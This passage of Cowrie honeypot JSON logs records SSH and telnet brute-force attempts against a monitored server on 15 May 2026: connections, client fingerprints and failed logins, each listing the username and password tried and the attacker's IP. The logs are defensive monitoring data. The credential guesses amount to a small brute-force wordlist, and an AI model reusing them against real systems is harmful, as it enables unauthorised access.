f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:46.401419Z","src_ip":"101.36.124.219","session":"52cd77dd8b4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:47.289167Z","src_ip":"101.36.124.219","session":"52cd77dd8b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:48.505944Z","src_ip":"101.36.124.219","session":"52cd77dd8b4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:50.684037Z","src_ip":"8.218.166.49","session":"7075a742d592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":62628,"dst_ip":"159.203.135.109","dst_port":22,"session":"c181ef5c68c7","protocol":"ssh","message":"New connection: 2.57.121.112:62628 (159.203.135.109:22) [session: c181ef5c68c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:52.393895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:52.399151Z","src_ip":"2.57.121.112","session":"c181ef5c68c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:52.498749Z","src_ip":"2.57.121.112","session":"c181ef5c68c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dinkle","message":"login attempt [admin/dinkle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:52.970241Z","src_ip":"2.57.121.112","session":"c181ef5c68c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:53.021486Z","src_ip":"8.218.166.49","session":"7075a742d592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dima2000","message":"login attempt [admin/dima2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:54.072750Z","src_ip":"2.57.121.112","session":"c181ef5c68c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:54.324348Z","src_ip":"8.218.166.49","session":"fd5dfcbf2db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dima12345","message":"login attempt [admin/dima12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:55.178439Z","src_ip":"2.57.121.112","session":"c181ef5c68c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"diggers","message":"login attempt [admin/diggers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:56.282128Z","src_ip":"2.57.121.112","session":"c181ef5c68c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dfkmrbhbz","message":"login attempt [admin/dfkmrbhbz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:57.385467Z","src_ip":"2.57.121.112","session":"c181ef5c68c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:58.488809Z","src_ip":"2.57.121.112","session":"c181ef5c68c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35700,"dst_ip":"10.17.0.5","dst_port":22,"session":"64e335418270","protocol":"ssh","message":"New connection: 8.218.166.49:35700 (10.17.0.5:22) [session: 64e335418270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:27:07.576974Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":38860,"dst_ip":"10.17.0.5","dst_port":22,"session":"fad88542f040","protocol":"ssh","message":"New connection: 8.218.166.49:38860 (10.17.0.5:22) [session: fad88542f040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:27:14.257196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:27:14.262810Z","src_ip":"8.218.166.49","session":"fad88542f040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":38864,"dst_ip":"10.17.0.5","dst_port":22,"session":"60876d084266","protocol":"ssh","message":"New connection: 8.218.166.49:38864 (10.17.0.5:22) [session: 60876d084266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:27:20.440645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:27:20.445424Z","src_ip":"8.218.166.49","session":"60876d084266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41884,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cb925e9f8db","protocol":"ssh","message":"New connection: 8.218.166.49:41884 (10.17.0.5:22) [session: 5cb925e9f8db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:27:29.931782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:27:29.936399Z","src_ip":"8.218.166.49","session":"5cb925e9f8db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:27:30.142482Z","src_ip":"8.218.166.49","session":"5cb925e9f8db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:27:35.770531Z","src_ip":"8.218.166.49","session":"5cb925e9f8db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:27:37.065665Z","src_ip":"8.218.166.49","session":"5cb925e9f8db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.19.218.222","src_port":7149,"dst_ip":"159.203.135.109","dst_port":23,"session":"05dff93d64a0","protocol":"telnet","message":"New connection: 197.19.218.222:7149 (159.203.135.109:23) [session: 05dff93d64a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:27:49.905520Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:27:59.528891Z","src_ip":"8.218.166.49","session":"60876d084266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.139474630355835,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:01.044931Z","src_ip":"197.19.218.222","session":"05dff93d64a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":45010,"dst_ip":"159.203.135.109","dst_port":22,"session":"73bc3ffc1a9d","protocol":"ssh","message":"New connection: 189.113.47.155:45010 (159.203.135.109:22) [session: 73bc3ffc1a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:06.958515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:06.963575Z","src_ip":"189.113.47.155","session":"73bc3ffc1a9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:07.082807Z","src_ip":"189.113.47.155","session":"73bc3ffc1a9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adr1an","message":"login attempt [root/adr1an] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:07.577795Z","src_ip":"189.113.47.155","session":"73bc3ffc1a9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:08.697604Z","src_ip":"189.113.47.155","session":"73bc3ffc1a9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":31230,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b885941103f","protocol":"ssh","message":"New connection: 2.57.121.25:31230 (159.203.135.109:22) [session: 9b885941103f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:14.516315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:14.520245Z","src_ip":"2.57.121.25","session":"9b885941103f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:14.623775Z","src_ip":"2.57.121.25","session":"9b885941103f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":37918,"dst_ip":"159.203.135.109","dst_port":22,"session":"bac3e9879253","protocol":"ssh","message":"New connection: 101.36.124.219:37918 (159.203.135.109:22) [session: bac3e9879253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:14.884955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:14.889944Z","src_ip":"101.36.124.219","session":"bac3e9879253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:15.105326Z","src_ip":"101.36.124.219","session":"bac3e9879253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fathead","message":"login attempt [user/fathead] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:15.112506Z","src_ip":"2.57.121.25","session":"9b885941103f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dmin123456","message":"login attempt [root/@dmin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:16.000589Z","src_ip":"101.36.124.219","session":"bac3e9879253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fabienne","message":"login attempt [user/fabienne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:16.218393Z","src_ip":"2.57.121.25","session":"9b885941103f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:17.219783Z","src_ip":"101.36.124.219","session":"bac3e9879253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"erwin","message":"login attempt [user/erwin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:17.325898Z","src_ip":"2.57.121.25","session":"9b885941103f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"erica1","message":"login attempt [user/erica1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:18.432006Z","src_ip":"2.57.121.25","session":"9b885941103f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"eragon","message":"login attempt [user/eragon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:19.539067Z","src_ip":"2.57.121.25","session":"9b885941103f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:20.645775Z","src_ip":"2.57.121.25","session":"9b885941103f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":42018,"dst_ip":"159.203.135.109","dst_port":22,"session":"23dfe32d6066","protocol":"ssh","message":"New connection: 88.147.30.59:42018 (159.203.135.109:22) [session: 23dfe32d6066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:28.054425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:28.059670Z","src_ip":"88.147.30.59","session":"23dfe32d6066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:28.176458Z","src_ip":"88.147.30.59","session":"23dfe32d6066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:28.673054Z","src_ip":"88.147.30.59","session":"23dfe32d6066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:29.794096Z","src_ip":"88.147.30.59","session":"23dfe32d6066","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:30.247393Z","src_ip":"8.218.166.49","session":"64e335418270","protocol":"ssh"}
